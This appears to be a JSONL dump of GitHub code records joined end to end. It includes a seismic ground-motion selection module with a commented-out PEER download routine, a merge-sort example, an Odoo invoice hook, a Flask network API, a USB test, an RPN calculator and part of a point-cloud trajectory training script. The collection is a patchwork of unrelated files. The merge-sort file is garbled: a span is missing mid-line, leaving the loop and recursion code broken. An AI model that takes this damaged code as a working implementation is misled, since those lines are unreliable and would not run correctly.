36]\n # Scaling factors\n sf_range = np.linspace(sf_min, sf_max, 100)\n # Selected ground motion ID\n gm_id = []\n sf_data = []\n filename = []\n # get available key names\n # Parese im_list\n target_period = []\n im_map = {\"PGA\": 34,\n \"PGV\": 35,\n \"PGD\": 36,\n \"DS575H\": 151,\n \"DS595H\": 152}\n im_loc_tag = []\n gmdb_im_dict = dict()\n gmdb_im_dict.update({'RSN':gmdb['RecId'].values.tolist()})\n for cur_im in im_list:\n if cur_im.startswith('SA'):\n cur_period = float(cur_im[3:-1])\n gmdb_im_dict.update({cur_im:[np.interp(cur_period, T_db, psa_db.iloc[k, :]) for k in range(num_gm)]})\n else:\n im_loc_tag.append(im_map.get(cur_im, None))\n gmdb_im_dict.update({cur_im:[x[0] for x in gmdb.iloc[:, im_loc_tag].values.tolist()]})\n # ground motion database intensity measure data frame\n gmdb_im_df = pd.DataFrame.from_dict(gmdb_im_dict)\n tmp_scen = 0\n # Looping over all scenarios\n for cur_target in target_ln_im:\n tmp_scen = tmp_scen + 1\n print('-Scenario #'+str(tmp_scen))\n num_stations, num_periods, num_simu = cur_target.shape\n tmp_id = np.zeros((num_stations, num_simu))\n tmp_sf = np.zeros((num_stations, num_simu))\n tmp_min_err = np.zeros((num_stations, num_simu))\n tmp_filename = []\n for i in range(num_simu):\n print('--Realization #'+str(i+1))\n for j in range(num_stations):\n # create a ground motion selector\n gm_selector = GM_Selector(gmdb_im_df=gmdb_im_df, num_records=1, sf_min=sf_min, sf_max=sf_max, target_im=cur_target[j,:,i])\n # select records\n gm_selector.select_records()\n # collect results\n tmp_min_err[j, i] = gm_selector.min_err\n tmp_id[j, i] = int(gmdb['RecId'][gm_selector.loc_tag])\n tmp_sf[j, i] = gm_selector.sf\n tmp_filename.append('RSN'+str(int(tmp_id[j,i]))+'_'+gmdb['FileNameHorizontal1'][gm_selector.loc_tag].replace(\"\\\\\",\"_\").replace(\"/\",\"_\"))\n tmp_filename.append('RSN'+str(int(tmp_id[j,i]))+'_'+gmdb['FileNameHorizontal2'][gm_selector.loc_tag].replace(\"\\\\\",\"_\").replace(\"/\",\"_\"))\n #print('---Station #'+str(j+1))\n # Collecting results in one scenario\n gm_id.append(tmp_id)\n sf_data.append(tmp_sf)\n filename.extend(tmp_filename)\n #print(tmp_min_err)\n else:\n print('SelectGroundMotion: currently only supporting NGAWest2.')\n return 1\n\n # output data\n station_name = ['site'+str(j)+'.csv' for j in range(len(stations))]\n lat = [stations[j]['Latitude'] for j in range(len(stations))]\n lon = [stations[j]['Longitude'] for j in range(len(stations))]\n vs30 = [stations[j]['Vs30'] for j in range(len(stations))]\n zTR = [stations[j]['DepthToRock'] for j in range(len(stations))]\n df = pd.DataFrame({\n 'GP_file': station_name,\n 'Longitude': lon,\n 'Latitude': lat,\n\t\t'Vs30': vs30,\n\t\t'DepthToRock': zTR\n })\n output_dir = os.path.join(os.path.dirname(Path(output_dir)),\n os.path.basename(Path(output_dir)))\n df.to_csv(os.path.join(output_dir, output_file), index = False)\n for cur_scen in range(len(gm_id)):\n if len(gm_id) > 1:\n cur_scen_folder = 'scenario'+str(cur_scen+1)\n try:\n os.mkdir(os.path.join(output_dir, cur_scen_folder))\n except:\n print('SelectGroundMotion: scenario folder already exists.')\n cur_output_dir = os.path.join(output_dir, cur_scen_folder)\n else:\n cur_output_dir = output_dir\n for i, site_id in enumerate(station_name):\n gm_file = ['RSN'+str(int(j)) for j in gm_id[cur_scen][i]]\n factor = [j for j in sf_data[cur_scen][i]]\n df = pd.DataFrame({\n 'TH_file': gm_file,\n 'factor': factor\n })\n df.to_csv(os.path.join(cur_output_dir, site_id), index = False)\n # return\n return gm_id, filename\n\n\ndef output_all_ground_motion_info(gm_id, gm_file, output_dir, filename):\n\n # Writing all record names to a csv file\n print(gm_file)\n try:\n with open(os.path.join(output_dir, filename), 'w') as f:\n w = csv.writer(f)\n if gm_file:\n w.writerow(gm_file)\n with open(os.path.join(output_dir, 'RSN.csv'), 'w') as f:\n w = csv.writer(f)\n if gm_id:\n w.writerow(gm_id)\n return 1\n except:\n return 0\n\n\"\"\" Uncommenting below if use this tool alone to download records from PEER\n\ndef download_ground_motion(gm_id, user_name, user_password, output_dir, spectra_only=False):\n\n from selenium import webdriver\n # Setting chrome options\n if sys.platform.startswith('win'):\n chromedriver = os.path.dirname(__file__) + '/bin/chromedriver/chromedriver.exe'\n elif sys.platform.startswith('linux'):\n chromedriver = os.path.dirname(__file__) + '/bin/chromedriver/chromedriver_linux'\n elif sys.platform.startswith('darwin'):\n chromedriver = os.path.dirname(__file__) + '/bin/chromedriver/chromedriver_mac'\n os.chmod(chromedriver, 755)\n else:\n print('Currently supoorting win32, linux, and mac.')\n chromeOptions = webdriver.ChromeOptions()\n output_dir = os.path.join(os.path.dirname(Path(output_dir)),\n os.path.basename(Path(output_dir)))\n prefs = {\"download.default_directory\" : output_dir, \"directory_upgrade\": True}\n chromeOptions.add_experimental_option(\"prefs\", prefs)\n chromeOptions.add_experimental_option('excludeSwitches', ['enable-logging'])\n # Ground motion record numbers\n num_gm = len(gm_id)\n # Accessing NGA West-2 website\n gm_driver = webdriver.Chrome(executable_path=chromedriver, chrome_options=chromeOptions)\n gm_driver.get(\"https://ngawest2.berkeley.edu/users/sign_in?unauthenticated=true\")\n try:\n gm_driver.find_element_by_id(\"user_email\").send_keys(user_name)\n gm_driver.find_element_by_id(\"user_password\").send_keys(user_password)\n gm_driver.find_element_by_id(\"user_submit\").click()\n gm_driver.find_element_by_xpath('//a[@href=\"/spectras/new?sourceDb_flag=1\"]').click()\n gm_driver.find_element_by_xpath('//button[@onclick=\"OnSubmit();\"]').click()\n time.sleep(1)\n except:\n gm_driver.close()\n print('Please provide valid account name and password.')\n return 0\n\n # Grouping every 100 records (NGA West website allows 100 records/time)\n for r in range(int(np.ceil(num_gm/100))):\n cur_id = [f\"{c}\" for c in gm_id[r*100:min(r*100+100, num_gm)]]\n s = \",\"\n s = s.join(cur_id)\n gm_driver.find_element_by_id(\"search_search_nga_number\").clear()\n gm_driver.find_element_by_id(\"search_search_nga_number\").send_keys(s)\n gm_driver.find_element_by_xpath('//button[@onclick=\"uncheck_plot_selected();reset_selectedResult();OnSubmit();\"]').click()\n time.sleep(10)\n if spectra_only:\n gm_driver.find_element_by_xpath('//button[@onclick=\"getSaveSearchResult()\"]')\n time.sleep(5)\n else:\n gm_driver.find_element_by_xpath('//button[@onclick=\"getSelectedResult(true)\"]').click()\n gm_driver.switch_to_alert().accept()\n gm_driver.switch_to_alert().accept()\n time.sleep(40)\n # Closing\n gm_driver.close()\n\n record_path = output_dir\n record_files = os.listdir(record_path)\n raw_record_folder = 'raw'\n if not spectra_only:\n try:\n os.mkdir(os.path.join(record_path, raw_record_folder))\n except:\n print('SelectGroundMotion: the /record/raw folder already exists.')\n for cur_file in record_files:\n if 'zip' in cur_file:\n with zipfile.ZipFile(os.path.join(record_path, cur_file), 'r') as zip_ref:\n zip_ref.extractall(os.path.join(record_path, raw_record_folder))\n os.remove(os.path.join(record_path, cur_file))\n # return\n return os.path.join(record_path, raw_record_folder)\n\ndef readNGAWest2record(ngaW2FilePath):\n series = []\n dt = 0.0\n with open(ngaW2FilePath, 'r') as recordFile:\n data_flag = False\n for line in recordFile:\n if(data_flag):\n # seismogram\n series.extend([float(value) for value in line.split()])\n elif(\"NPTS=\" in line):\n # sampling rate\n dt = float(re.match(r\"NPTS=.+, DT=\\s+([0-9\\.]+)\\s+SEC\", line).group(1))\n data_flag = True\n # return\n return series, dt\n\n\ndef parse_record(gm_file, raw_dir, output_dir, input_format, output_format):\n gm_file = np.reshape(gm_file, (-1, 2))\n for cur_id in gm_file:\n # Reading raw data\n if input_format == 'NGAWest2':\n if(len(cur_id) != 2):\n print('Error finding NGA West 2 files.\\n'\\\n 'Please download the files for record {} '\\\n .format(cur_id))\n exit(-1)\n acc_1, dt_1 = readNGAWest2record(os.path.join(raw_dir, cur_id[0]))\n acc_2, dt_2 = readNGAWest2record(os.path.join(raw_dir, cur_id[1]))\n else:\n print('Currently only supporting NGAWest2')\n # Parsing output files\n rsn = cur_id[0].split('_')[0]\n if output_format == 'SimCenterEvent':\n tmp = {\n \"name\": str(rsn),\n \"dT\": dt_1,\n \"data_x\": acc_1,\n \"data_y\": acc_2,\n \"PGA_x\": max(abs(np.array(acc_1))),\n \"PGA_y\": max(abs(np.array(acc_2)))\n }\n with open(output_dir+str(rsn)+'.json', 'w') as f:\n json.dump(tmp, f, indent = 2)\n else:\n print('Currently only supporting SimCenterEvent')\n\n # removing raw files\n shutil.rmtree(raw_dir)\n # return\n return output_dir\n\nUncommenting above if use this tool alone to download records from PEER\n\"\"\"\n","repo_name":"maitreyakurumbhati/SimCenterBackendApplications","sub_path":"modules/performRegionalEventSimulation/regionalGroundMotion/SelectGroundMotion.py","file_name":"SelectGroundMotion.py","file_ext":"py","file_size_in_byte":13302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"1765026374","text":"\"\"\"\nMerge sort is a divide and conquer algorithm.\nIt is a stable sort algorithm.\nTime complexity is big O(nlog(n)) and auxiliary space is O(n).\nWell suited for linked lists. Works in O(1) aux. space.\nUsed in external sorting.\nIn general for arrays, quicksort outperforms megresort.\n\"\"\"\n\ndef merge(arr, low, mid, high):\n left = arr[low : mid+1]\n right = arr[mid+1 : high+1]\n\n i = j = 0\n k = low\n\n while i l:\n m = (r + l) // 2\n mergeSort(arr, l, m)\n mergeSort(arr, m + 1, r)\n merge(arr, l, m, r)\n\n\narr = [10, 5, 30, 15, 7]\n\nmergeSort(arr, 0, 4)\nprint(*arr)\n","repo_name":"ShafayetSaad/Cplusplus-Codes","sub_path":"GeeksForGeeks/DSA in Python/07. Sorting/04_mergeSort.py","file_name":"04_mergeSort.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37370503826","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, api\n\nclass AccountInvoice(models.Model):\n _inherit = \"account.invoice\"\n\n def vehicle_toggle_active(self):\n v_ids = []\n for line in self.invoice_line_ids:\n if line.product_id and line.product_id.is_vehicle:\n v_ids.append(line.product_id.vehicle_id.id)\n vehicle_ids = self.env['fleet.vehicle'].browse(v_ids)\n for v in vehicle_ids:\n v.toggle_active()\n\n @api.multi\n def action_invoice_open(self):\n res = super(AccountInvoice, self).action_invoice_open()\n self.vehicle_toggle_active()\n return res\n\n @api.multi\n def action_invoice_cancel(self):\n res = super(AccountInvoice, self).action_invoice_cancel()\n self.vehicle_toggle_active()\n return res\n","repo_name":"rodrig92/odoo-addons","sub_path":"car_sale_disable_from_invoice/models/account_invoice.py","file_name":"account_invoice.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11591870676","text":"from flask_restx import Namespace, Resource\n\nfrom devstack_client.utils import connect, check_if_authorized, check_required_params\nfrom devstack_client.service.network import list_networks, find_network\n\nns = Namespace('api/v1/network')\n\n\n@ns.route('')\nclass NetworkList(Resource):\n @check_required_params(ns)\n @check_if_authorized(ns)\n def get(self):\n conn = connect()\n networks = list_networks(conn)\n\n return {\n 'networks': networks\n }, 200\n\n\n@ns.route('/')\nclass Flavor(Resource):\n @check_required_params(ns)\n @check_if_authorized(ns)\n def get(self, name):\n conn = connect()\n network = find_network(conn, name)\n\n if network is None:\n ns.abort(404)\n\n return {\n 'network': network\n }, 200\n","repo_name":"Gogen120/selectel_devstack","sub_path":"devstack_client/endpoints/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39620207321","text":"import usb1\nwith usb1.USBContext() as context:\n handle = context.openByVendorIDAndProductID(\n 0x0483,\n 0x5740,\n skip_on_error=True,\n )\n if handle is None:\n print('Unable to access device!')\n # Device not present, or user is not allowed to access device.\n with handle.claimInterface(INTERFACE):\n pass\n # Do stuff with endpoints on claimed interface.\nexit(0)\n\n\nimport usb.core\nimport usb.util\n\n# find our device\ndev = usb.core.find(idVendor=0x0483, idProduct=0x5740)\n\n# was it found?\nif dev is None:\n raise ValueError('Device not found')\n\n# set the active configuration. With no arguments, the first\n# configuration will be the active one\ndev.set_configuration()\n\n# get an endpoint instance\ncfg = dev.get_active_configuration()\nintf = cfg[(0,0)]\n\nep = usb.util.find_descriptor(\n intf,\n # match the first OUT endpoint\n custom_match = \\\n lambda e: \\\n usb.util.endpoint_direction(e.bEndpointAddress) == \\\n usb.util.ENDPOINT_OUT)\n\nassert ep is not None\n\n# write the data\nep.write('test')\n","repo_name":"timkostka/cert3d","sub_path":"usb_test.py","file_name":"usb_test.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29814673118","text":"import math\nimport torch\n\ndef get_alibi(\n max_positions: int,\n attention_heads: int,\n):\n def get_slopes(n):\n def get_slopes_power_of_2(n):\n start = 2 ** (-(2 ** -(math.log2(n) - 3)))\n ratio = start\n return [start * ratio ** i for i in range(n)]\n\n # In the paper, we only train models that have 2^a heads for some\n # a. This function has some good properties that only occur when\n # the input is a power of 2. To maintain that even when the number\n # of heads is not a power of 2, we use this workaround.\n if math.log2(n).is_integer():\n return get_slopes_power_of_2(n)\n else:\n closest_power_of_2 = 2 ** math.floor(math.log2(n))\n return (\n get_slopes_power_of_2(closest_power_of_2)\n + get_slopes(2 * closest_power_of_2)[0::2][: n - closest_power_of_2]\n )\n\n maxpos = max_positions\n attn_heads = attention_heads\n slopes = torch.Tensor(get_slopes(attn_heads))\n # prepare alibi position linear bias. Note that wav2vec2 is non\n # autoregressive model so we want a symmetric mask with 0 on the\n # diagonal and other wise linear decreasing valuees\n pos_bias = (\n torch.abs(\n torch.arange(maxpos).unsqueeze(0) - torch.arange(maxpos).unsqueeze(1)\n )\n * -1\n )\n alibi_bias = slopes.unsqueeze(1).unsqueeze(1) * pos_bias.unsqueeze(0).expand(\n attn_heads, -1, -1\n )\n return alibi_bias\n\ndef masked_alibi(alibi_bias, mask_indices, orig_B, orig_T):\n alibi_bias = alibi_bias.view(orig_B, -1, orig_T, orig_T)\n H = alibi_bias.size(1)\n alibi_mask = mask_indices.unsqueeze(1)\n alibi_bias = alibi_bias.masked_select(alibi_mask.unsqueeze(-1))\n alibi_bias = alibi_bias.view(orig_B, H, -1, orig_T)\n M = alibi_bias.size(-2)\n alibi_bias = alibi_bias.masked_select(alibi_mask.unsqueeze(-2))\n alibi_bias = alibi_bias.view(-1, M, M)\n return alibi_bias\n\n\n","repo_name":"facebookresearch/fairseq","sub_path":"examples/data2vec/models/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","stars":28050,"dataset":"github-code","pt":"62"} +{"seq_id":"30574555148","text":"#!/usr/bin/env python3.8\n\nimport math\n\ndef pop() -> float:\n op = stack[-1]\n stack.pop()\n return op\ndef peek() -> float:\n return stack[-1]\n\ndef push(element: int):\n stack.append(element)\n\ndef print_stack():\n for element in reversed(stack):\n print(element)\n\nassignment_ = \"a 5 =\"\nstack = []\n\nvariable_table_ = {}\nsplit_string = assignment_.split()\n\n# variable assignment\nif(split_string[0].isalpha() and \"=\" in assignment_): \n if(len(split_string[0]) == 1 and split_string[1].isdigit()):\n variable_table_[split_string[0]] = split_string[1]\n\nlook_up_ = \"a ?\"\nvariable_ = look_up_.split()[0]\nif(variable_ in variable_table_.keys()): \n print(variable_table_[variable_])\n\npushing_ = \"3 2 POW\"\n\nfor element in pushing_.split():\n if(element.isdigit()):\n push(float(element))\n elif(len(element) == 1):\n if(element == \"*\"):\n push(pop() * pop())\n elif(element == \"+\"):\n push(pop() + pop())\n elif(element == \"-\"):\n op2 = pop()\n push(pop() - op2)\n elif(element == \"%\"):\n op2 = pop()\n push(pop() % op2)\n elif(element == \"/\"):\n op2 = pop()\n if(op2 == 0): \n print(\"cannot divide by zero, cowardly refusing\")\n break\n push(pop() / op2)\n elif(len(element) > 2 and len(element) <= 4):\n if(element == \"SIN\"):\n push(math.sin(pop()))\n elif(element == \"COS\"):\n push(math.cos(pop()))\n elif(element == \"TAN\"):\n push(math.tan(pop()))\n elif(element == \"POW\"):\n # example: 3 2 POW\n # 3**2 == 9\n op2 = pop()\n push(pop()**op2)\n \n\nprint_stack()\n","repo_name":"JaredsWebApplications/RPNCalculator","sub_path":"webapplication/backend/alpha_implementation.py","file_name":"alpha_implementation.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70360534277","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\ngreeting = 'hello, world'\nchars = []\nfor l in greeting:\n chars.append(l)\nchars\n\n\n# In[2]:\n\n\nchars = [l for l in greeting]\nchars\n\n\n# In[3]:\n\n\nchars = [l for l in 'bla-bla-bla']\nchars\n\n\n# In[4]:\n\n\nnumbers = [n for n in range(0, 11)]\nnumbers\n\n\n# In[5]:\n\n\nnumbers = [n*n for n in range(0, 11)]\nnumbers\n\n\n# In[6]:\n\n\nnumbers = [n*n for n in range(0, 11) if n%2!=0]\nnumbers\n\n\n# In[7]:\n\n\nlen_in_centimeters = [12,10,54,124,64]\n\nlen_in_inches = [(round(cm / 2.54, 2)) for cm in len_in_centimeters]\nlen_in_inches\n\n\n# In[8]:\n\n\nratings = [2485, 2580, 2480, 2600, 2482, 2520]\ntitles = ['GM' if x >= 2500 else 'MM' for x in ratings]\ntitles\n\n\n# In[9]:\n\n\n#find all pairs sum of which equals 0\nlist1 = [2, 4, -5, 6, 8, -2,]\nlist2 = [2, -6, 8, 3, 5, -2,]\n\npairs = []\nfor x in list1:\n for y in list2:\n cur_sum = x + y\n if cur_sum == 0:\n pairs.append((x, y))\npairs\n\n\n# In[11]:\n\n\npairs = [(x,y) for x in list1 for y in list2 if x+y==0]\npairs\n\n","repo_name":"EngineerSpock/Python-from-Zero-to-Hero","sub_path":"03-Коллеции, циклы, логика/09_list_comprehension.py","file_name":"09_list_comprehension.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":90,"dataset":"github-code","pt":"62"} +{"seq_id":"34112644827","text":"import argparse, sys, json, yaml, cv2, imageio, os, time, glob\nimport open3d as o3d\nimport numpy as np\n\nfrom datetime import datetime\n\nfrom tqdm import tqdm\nfrom time import strftime\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neighbors import NearestNeighbors\nfrom sklearn.manifold import TSNE\nfrom sklearn.decomposition import PCA\nfrom pointnet2_ops.pointnet2_utils import furthest_point_sample\nfrom utils.training_utils import get_model_module, get_dataset_module, optimizer_to_device, normalize_pc, kl_annealing\n\nimport torch\nfrom torch.utils.data import DataLoader, Subset\nfrom torchsummary import summary\n\nfrom scipy.spatial.transform import Rotation as R\nfrom utils.bullet_utils import draw_coordinate, get_matrix_from_pose, get_pos_rot_from_matrix, \\\n get_projmat_and_intrinsic, get_viewmat_and_extrinsic\n\nfrom utils.testing_utils import refine_waypoint_rotation, robot_kptraj_hanging, recover_trajectory\n\ndef train_val_dataset(dataset, val_split=0.25):\n train_idx, val_idx = train_test_split(list(range(len(dataset))), test_size=val_split)\n train_set = Subset(dataset, train_idx)\n val_set = Subset(dataset, val_idx)\n return train_set, val_set\n\ndef train(args):\n\n time_stamp = datetime.today().strftime('%m.%d.%H.%M')\n training_tag = time_stamp if args.training_tag == '' else f'{args.training_tag}'\n dataset_dir = args.dataset_dir\n dataset_root = args.dataset_dir.split('/')[-2] # dataset category\n dataset_subroot = args.dataset_dir.split('/')[-1] # time stamp\n config_file = args.config\n verbose = args.verbose\n device = args.device\n dataset_mode = 0 if 'absolute' in dataset_dir else 1 # 0: absolute, 1: residual\n\n config_file_id = config_file.split('/')[-1][:-5] # remove '.yaml'\n checkpoint_dir = f'{args.checkpoint_dir}/{config_file_id}-{training_tag}/{dataset_root}-{dataset_subroot}'\n print(f'checkpoint_dir: {checkpoint_dir}')\n os.makedirs(checkpoint_dir, exist_ok=True)\n\n config = None\n with open(config_file, 'r') as f:\n config = yaml.load(f, Loader=yaml.Loader) # dictionary\n\n # params for training\n dataset_name = config['dataset_module']\n dataset_class_name = config['dataset_class']\n module_name = config['module']\n model_name = config['model']\n model_inputs = config['model_inputs']\n dataset_inputs = config['dataset_inputs']\n train_traj_start = config['model_inputs']['train_traj_start']\n \n # training batch and iters\n batch_size = config['batch_size']\n start_epoch = config['start_epoch']\n stop_epoch = config['stop_epoch']\n\n # training scheduling params\n lr = config['lr']\n lr_decay_rate = config['lr_decay_rate']\n lr_decay_epoch = config['lr_decay_epoch']\n weight_decay = config['weight_decay']\n save_freq = config['save_freq']\n\n dataset_class = get_dataset_module(dataset_name, dataset_class_name)\n train_set = dataset_class(dataset_dir=f'{dataset_dir}/train', **dataset_inputs, device=args.device)\n train_loader = DataLoader(train_set, batch_size=batch_size, shuffle=True)\n\n sample_num_points = train_set.sample_num_points\n print(f'dataset: {dataset_dir}')\n print(f'checkpoint_dir: {checkpoint_dir}')\n print(f'num of points in point cloud: {sample_num_points}')\n\n network_class = get_model_module(module_name, model_name)\n network = network_class(**model_inputs, dataset_type=dataset_mode).to(device)\n \n if verbose:\n summary(network)\n\n # create optimizers\n network_opt = torch.optim.Adam(network.parameters(), lr=lr, weight_decay=weight_decay)\n # learning rate scheduler\n network_lr_scheduler = torch.optim.lr_scheduler.StepLR(network_opt, step_size=lr_decay_epoch, gamma=lr_decay_rate)\n optimizer_to_device(network_opt, device)\n\n if verbose:\n print(f'training batches: {len(train_loader)}')\n\n # start training\n start_time = time.time()\n\n # will only work if 'kl_annealing' = 1 in \"model_inputs\"\n kl_weight = kl_annealing(kl_anneal_cyclical=True, \n niter=stop_epoch, \n start=0.0, stop=0.1, kl_anneal_cycle=5, kl_anneal_ratio=0.5)\n\n # train for every epoch\n for epoch in range(start_epoch, stop_epoch + 1):\n\n train_batches = enumerate(train_loader, 0)\n\n # training\n train_afford_losses = []\n train_dir_losses = []\n train_kl_losses = []\n train_recon_losses = []\n train_total_losses = []\n for i_batch, (sample_pcds, sample_affords, sample_trajs) in tqdm(train_batches, total=len(train_loader)):\n\n # set models to training mode\n network.train()\n\n # get segmented point cloud\n sample_pcds = sample_pcds.to(device).contiguous() \n sample_trajs = sample_trajs.to(device).contiguous()\n sample_cp = sample_pcds[:, 0]\n\n # forward pass\n losses = network.get_loss(epoch, sample_pcds, sample_trajs, sample_cp, sample_affords, lbd_kl=kl_weight.get_beta()) # B x 2, B x F x N\n total_loss = losses['total']\n\n if 'afford' in losses.keys():\n train_afford_losses.append(losses['afford'].item())\n if 'dir' in losses.keys():\n train_dir_losses.append(losses['dir'].item())\n train_kl_losses.append(losses['kl'].item())\n train_recon_losses.append(losses['recon'].item())\n train_total_losses.append(losses['total'].item())\n\n # optimize one step\n network_opt.zero_grad()\n total_loss.backward()\n network_opt.step()\n\n network_lr_scheduler.step()\n \n if 'afford' in losses.keys():\n train_afford_avg_loss = np.mean(np.asarray(train_afford_losses))\n if 'dir' in losses.keys():\n train_dir_avg_loss = np.mean(np.asarray(train_dir_losses))\n train_kl_avg_loss = np.mean(np.asarray(train_kl_losses))\n train_recon_avg_loss = np.mean(np.asarray(train_recon_losses))\n train_total_avg_loss = np.mean(np.asarray(train_total_losses))\n print(\n f'''---------------------------------------------\\n'''\n f'''[ training stage ]\\n'''\n f''' - time : {strftime(\"%H:%M:%S\", time.gmtime(time.time() - start_time)):>9s} \\n'''\n f''' - epoch : {epoch:>5.0f}/{stop_epoch:<5.0f} \\n'''\n f''' - lr : {network_opt.param_groups[0]['lr']:>5.2E} \\n'''\n f''' - train_afford_avg_loss : {train_afford_avg_loss if 'afford' in losses.keys() else 0.0:>10.5f}\\n'''\n f''' - train_dir_avg_loss : {train_dir_avg_loss if 'dir' in losses.keys() else 0.0:>10.5f}\\n'''\n f''' - train_kl_avg_loss : {train_kl_avg_loss:>10.5f}\\n'''\n f''' - train_recon_avg_loss : {train_recon_avg_loss:>10.5f}\\n'''\n f''' - train_total_avg_loss : {train_total_avg_loss:>10.5f}\\n'''\n f'''---------------------------------------------\\n'''\n )\n \n # save checkpoint\n if (epoch - start_epoch) % save_freq == 0 and (epoch - start_epoch) > 0 and epoch > train_traj_start:\n with torch.no_grad():\n print('Saving checkpoint ...... ')\n # torch.save(network, os.path.join(checkpoint_dir, f'{sample_num_points}_points-network_epoch-{epoch}.pth'))\n torch.save(network.state_dict(), os.path.join(checkpoint_dir, f'{sample_num_points}_points-network_epoch-{epoch}.pth'))\n torch.save(network_opt.state_dict(), os.path.join(checkpoint_dir, f'{sample_num_points}_points-optimizer_epoch-{epoch}.pth'))\n torch.save(network_lr_scheduler.state_dict(), os.path.join(checkpoint_dir, f'{sample_num_points}_points-scheduler_epoch-{epoch}.pth'))\n\n kl_weight.update()\n\ndef capture_from_viewer(geometries):\n vis = o3d.visualization.Visualizer()\n vis.create_window(visible=False)\n for geometry in geometries:\n vis.add_geometry(geometry)\n\n # Updates\n for geometry in geometries:\n vis.update_geometry(geometry)\n vis.poll_events()\n vis.update_renderer()\n\n o3d_screenshot_mat = vis.capture_screen_float_buffer(do_render=True) # need to be true to capture the image\n o3d_screenshot_mat = (255.0 * np.asarray(o3d_screenshot_mat)).astype(np.uint8)\n o3d_screenshot_mat = cv2.cvtColor(o3d_screenshot_mat,cv2.COLOR_BGR2RGB)\n o3d_screenshot_mat = cv2.resize(o3d_screenshot_mat, (o3d_screenshot_mat.shape[1] // 6, o3d_screenshot_mat.shape[0] // 6))\n vis.destroy_window()\n\n return o3d_screenshot_mat\n\ndef inference(args):\n\n import pybullet as p\n import pybullet_data\n from pybullet_robot_envs.envs.panda_envs.panda_env import pandaEnv\n\n # ================== config ==================\n\n checkpoint_dir = f'{args.checkpoint_dir}'\n config_file = args.config\n verbose = args.verbose\n visualize = args.visualize\n evaluate = args.evaluate\n device = args.device\n dataset_mode = 0 if 'absolute' in checkpoint_dir else 1 # 0: absolute, 1: residual\n weight_subpath = args.weight_subpath\n weight_path = f'{checkpoint_dir}/{weight_subpath}'\n\n assert os.path.exists(weight_path), f'weight file : {weight_path} not exists'\n\n checkpoint_subdir = checkpoint_dir.split('/')[1]\n checkpoint_subsubdir = checkpoint_dir.split('/')[2]\n\n config = None\n with open(config_file, 'r') as f:\n config = yaml.load(f, Loader=yaml.Loader) # dictionary\n\n\n assert os.path.exists(weight_path), f'weight file : {weight_path} not exists'\n print('=================================================')\n print(f'checkpoint: {weight_path}')\n print('=================================================')\n\n config = None\n with open(config_file, 'r') as f:\n config = yaml.load(f, Loader=yaml.Loader) # dictionary\n\n # params for network\n module_name = config['module']\n model_name = config['model']\n model_inputs = config['model_inputs']\n batch_size = config['batch_size']\n wpt_dim = config['dataset_inputs']['wpt_dim']\n sample_num_points = config['dataset_inputs']['sample_num_points']\n print(f'waypoint dimension = {wpt_dim}')\n print(f'num of points = {sample_num_points}')\n\n # inference\n inference_obj_dir = args.obj_shape_root\n assert os.path.exists(inference_obj_dir), f'{inference_obj_dir} not exists'\n inference_obj_whole_dirs = glob.glob(f'{inference_obj_dir}/*')\n\n inference_hook_shape_root = args.hook_shape_root\n assert os.path.exists(inference_hook_shape_root), f'{inference_hook_shape_root} not exists'\n\n inference_hook_dir = args.inference_dir # for hook shapes\n inference_hook_whole_dirs = glob.glob(f'{inference_hook_dir}/*')\n inference_hook_whole_dirs.sort()\n\n inference_obj_paths = []\n inference_hook_paths = []\n\n for inference_obj_path in inference_obj_whole_dirs:\n paths = glob.glob(f'{inference_obj_path}/*.json')\n assert len(paths) == 1, f'multiple object contact informations : {paths}'\n inference_obj_paths.extend(paths) \n\n for inference_hook_path in inference_hook_whole_dirs:\n # if 'Hook' in inference_hook_path:\n paths = glob.glob(f'{inference_hook_path}/affordance-0.npy')\n inference_hook_paths.extend(paths) \n\n obj_contact_poses = []\n obj_grasping_infos = []\n obj_urdfs = []\n obj_names = []\n for inference_obj_path in inference_obj_paths:\n obj_contact_info = json.load(open(inference_obj_path, 'r'))\n obj_contact_poses.append(obj_contact_info['contact_pose'])\n obj_grasping_infos.append(obj_contact_info['initial_pose'][0]) # bottom position\n\n obj_urdf = '{}/base.urdf'.format(os.path.split(inference_obj_path)[0])\n assert os.path.exists(obj_urdf), f'{obj_urdf} not exists'\n obj_urdfs.append(obj_urdf)\n\n obj_name = obj_urdf.split('/')[-2]\n obj_names.append(obj_name)\n\n hook_pcds = []\n hook_affords = []\n hook_urdfs = []\n\n class_num = 15 if ('/val' in inference_hook_dir) or '/test' in inference_hook_dir else 10000\n easy_cnt = 0\n normal_cnt = 0\n hard_cnt = 0\n devil_cnt = 0\n cnt = 0\n for inference_hook_path in inference_hook_paths:\n\n hook_name = inference_hook_path.split('/')[-2]\n points = np.load(inference_hook_path)[:, :3].astype(np.float32)\n affords = np.load(inference_hook_path)[:, 3].astype(np.float32)\n \n easy_cnt += 1 if 'easy' in hook_name else 0\n normal_cnt += 1 if 'normal' in hook_name else 0\n hard_cnt += 1 if 'hard' in hook_name else 0\n devil_cnt += 1 if 'devil' in hook_name else 0\n\n if 'easy' in hook_name and easy_cnt > class_num:\n continue\n if 'normal' in hook_name and normal_cnt > class_num:\n continue\n if 'hard' in hook_name and hard_cnt > class_num:\n continue\n if 'devil' in hook_name and devil_cnt > class_num:\n continue\n \n cnt += 1\n \n hook_urdf = f'{inference_hook_shape_root}/{hook_name}/base.urdf'\n assert 